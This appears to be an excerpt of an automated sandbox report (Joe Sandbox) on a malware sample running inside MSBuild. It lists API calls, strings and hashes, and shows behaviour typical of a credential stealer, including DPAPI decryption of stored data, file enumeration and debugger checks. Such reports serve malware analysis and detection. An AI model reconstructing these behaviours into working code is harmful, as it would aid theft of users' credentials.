Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

\*.*, xrefs: 0040DE26
4@, xrefs: 0040DE32, 0040E400, 0040DEF3, 0040DE75, 0040DEF6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: c58a056e60fc9d29371130ed8fc87327b631cf5620cd3b032d2e6af9d20713bf
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: c58a056e60fc9d29371130ed8fc87327b631cf5620cd3b032d2e6af9d20713bf
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 6C552C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C552C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C552C61

Part of subcall function 6C504DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
Part of subcall function 6C504DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C552C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C552E2D

Part of subcall function 6C5181B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5181DE

Strings

expected a Time entry, xrefs: 6C552E36
(root), xrefs: 6C55354F
ProfileBuffer parse error: %s, xrefs: 6C552E3B

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 9392f4f9f34d4f75b8e555835e4ba807abc7b48d78e5c01ed5a0868e4b6ad4a8
Instruction ID: 6e828c2c5b46a4a08f0668bcf4c1d9333a307715a92198973286741590d77716
Opcode Fuzzy Hash: 9392f4f9f34d4f75b8e555835e4ba807abc7b48d78e5c01ed5a0868e4b6ad4a8
Instruction Fuzzy Hash: D791BF70608740CFC724CF24CC946AEB7E1AFC9358F904A1EE59A9B751EB30D959CB52

Function 6C569E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C569F3D
__aulldiv.LIBCMT ref: 6C569F77
__aullrem.LIBCMT ref: 6C569F8C
__aulldiv.LIBCMT ref: 6C56A023

Strings

NaN, xrefs: 6C569EAB
-Infinity, xrefs: 6C569E60, 6C569E7B

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 80e7018443537a211498480433aa08ea46bd9f717fe2976358e45d8a70a4e1e3
Instruction ID: 39199082542ed42a033126b624ca0988d42b00a7b68513969c73daf4fbabf0ab
Opcode Fuzzy Hash: 80e7018443537a211498480433aa08ea46bd9f717fe2976358e45d8a70a4e1e3
Instruction Fuzzy Hash: D5C1A071E04329CBDB14CFAACC507AEB7B6FB88314F544529D405ABB90DB70AD49CB91

Function 6C57545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C578A4B

Strings

~qPl, xrefs: 6C575740, 6C579459, 6C57921F, 6C579269, 6C575703, 6C5756C7, 6C57948F

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qPl
API String ID: 2221118986-19430131
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 03db98340b7a63ded3821e48e3f9f6a2f61e1f1c45d6b0ce08be06630426989a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F2B1C872E0021ACFDB24CF68CC91799B7B2EF95314F1402A9C549EB791E730A9D5CBA1

Function 6C57542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5788F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C57925C

Strings

~qPl, xrefs: 6C575740, 6C579459, 6C57921F, 6C579269, 6C575703, 6C5756C7, 6C57948F

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qPl
API String ID: 2221118986-19430131
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: f7ece21508e648e34471366e46ceaa90ce1a6f62bef7da222271ae79d4a46ca1
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F6B1B572E0121ACBDB24CF58CC816E9B7B2AF85314F150269C549EB785E730A9D9CBA1

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90), ref: 0040724D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407C90,80000001,004161C4), ref: 004072A4
LocalFree.KERNEL32(?,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 004072AE

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 6C5577A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C557A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C557A93

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C557AA1

Part of subcall function 6C525C50: __aulldiv.LIBCMT ref: 6C525DB4
Part of subcall function 6C525C50: LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C557B31

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: bc034080b5cc60c201a05862bb120f7f93fdbd41d637a093ae7320f3e4e0df2e
Instruction ID: 7aab205e12c27af047db03d3d2a6dab5d6319cd8ac6ea23ee36dd07de5b9cf4c
Opcode Fuzzy Hash: bc034080b5cc60c201a05862bb120f7f93fdbd41d637a093ae7320f3e4e0df2e
Instruction Fuzzy Hash: 3DB1EF356183808BCB14CF24C84065FB7E2BFC5358F958A1EE99567B91DB30ED1ACB82

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 00413720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E118,00000000,00000001,0041E108,00000000), ref: 00413758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004137B0

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction ID: 95f6a265596bdc049295610fa53daf8ef9ce5e7415083cbf30a8e52d2e28a0c3
Opcode Fuzzy Hash: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction Fuzzy Hash: A941F474A40A28AFDB24DF58CC94BDAB7B5BB48306F4041D9A608A72D0E771AEC5CF50

Function 6C56B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C53FE3F), ref: 6C56B720
RtlNtStatusToDosError.NTDLL ref: 6C56B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C53FE3F), ref: 6C56B760

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: c3329a1808d3a97e121c6c3d2dd9875307408df328cb0e5b243266c3793ff5ac
Instruction ID: 39f9ddc71044f7317a53a90a87854496b6ded76cc9cad698c50bb5840f37dc37
Opcode Fuzzy Hash: c3329a1808d3a97e121c6c3d2dd9875307408df328cb0e5b243266c3793ff5ac
Instruction Fuzzy Hash: 27F0C8B090020CEEDF11AAA2CC84BDFB7BC9B44319F105239E511659C0D774A9CCD661

Function 6C5655F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C53E1A5), ref: 6C565606
LoadLibraryW.KERNEL32(gdi32,?,6C53E1A5), ref: 6C56560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C565633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C56563D
